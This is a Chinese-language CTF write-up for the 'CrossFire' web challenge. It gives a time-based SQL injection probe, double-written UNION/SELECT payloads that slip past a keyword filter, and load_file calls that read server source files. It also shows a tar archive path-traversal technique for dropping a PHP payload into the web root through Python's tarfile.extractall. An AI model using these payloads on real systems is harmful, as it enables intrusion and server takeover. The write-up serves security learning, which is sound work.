联合注入+双写绕过
之前在太湖杯web题(CrossFire)上遇到个好玩的题,题目上线很久没有大佬做出来,后来给了提示,刷刷刷都做出来了,赛后学到许多,来这总结下。
官方提示: 注入+目录穿越
1'||sleep(2)%23
存在注入 利用双写来绕过
-1' ununionion selselectect load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870)%23
十六进制 0x2f7661722f7777772f68746d6c2f696e6465782e706870
转字符 /var/www/html/index.php
index.php
<?php
error_reporting(0);
session_start();
include('config.php');
$upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
@mkdir($upload);
file_put_contents($upload.'/index.html', '');
if(isset($_POST['submit'])){
$allow_type=array("jpg","gif","png","bmp","tar","zip");
$fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
die('upload error');
}else{
$filename=addslashes($_FILES['file']['name']);
$sql="insert into img (filename) values ('$filename')";
$conn->query($sql);
$sql="select id from img where filename='$filename'";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$id=$row["id"];
}
move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
header("Location: index.php?id=$id");
}
}
}
elseif (isset($_GET['id'])){
$id=addslashes($_GET['id']);
$sql="select filename from img where id=$id";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$filename=$row["filename"];
}
$img=$upload.'/'.$filename;
echo "<img src='$img'/>";
}
}
elseif (isset($_POST['submit1'])){
$allow_type=array("jpg","gif","png","bmp","tar","zip");
$fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
die('upload error');
}else{
$filename=addslashes($_FILES['file']['name']);
move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
@exec("cd /tmp&&python3 /tar.py ".escapeshellarg('/var/www/html/'.$upload.'/'.$filename));
}
}
?>
config.php
$conn=mysqli_connect("localhost","root","root","shuyu");
if (mysqli_connect_error($conn))
{
echo "???? MySQL ???: " . mysqli_connect_error();
}
foreach ($_GET as $key => $value) {
$value= str_ireplace('\'','',$value);
$value= str_ireplace('"','',$value);
$value= str_ireplace('union','',$value);
$value= str_ireplace('select','',$value);
$value= str_ireplace('from','',$value);
$value= str_ireplace('or','',$value);
$_GET[$key] =$value;
}
?>
赛后发现其实根目录下也留了源码 /www.zip (滑稽)
1 ununionion selselectect load_file(0x2f7461722e7079)%23
#/tar.py
#tar.py
import tarfile
import sys
tar = tarfile.open(sys.argv[1], "r")
tar.extractall()#解压缩包
php相关代码
@exec("cd /tmp&&python3 /tar.py
".escapeshellarg('/var/www/html/'.$upload.'/'.$filename));
这里python的解压就存在很大的问题
tar解压目录穿越
tar 命令可以在打包的时候把路径也打包进去
那么 对于解压 是不是也可以指定目录解压?(目录穿越)
我在自己的主机上执行:
root@kali:~# tar cPvf midi.tar ../../../../../../../../var/www/html/testupload/payload.php
此时在本机生成了自己的midi.tar压缩文件
当在其他机器上解压此文件 会不会在/var/www/html/testupload/目录下生成payload.php呢?
经过测试
Linux下解压(使用的是GNU的tar),默认情况下,tar会自动把前面的/去掉,然后在当前目录解压
Unix则不然,会依照绝对路径解压,对路径中的其他文件不影响,对相同的文件,覆盖。如果不存在某个目录,则创建(如果有权限)。
在这里 python的解压 与Unix的解压同理,会直接在指定路径下进行解压
我们将制作好的midi.tar 上传进行解压,最终会在/var/www/html/testupload/下生成我们的payload.php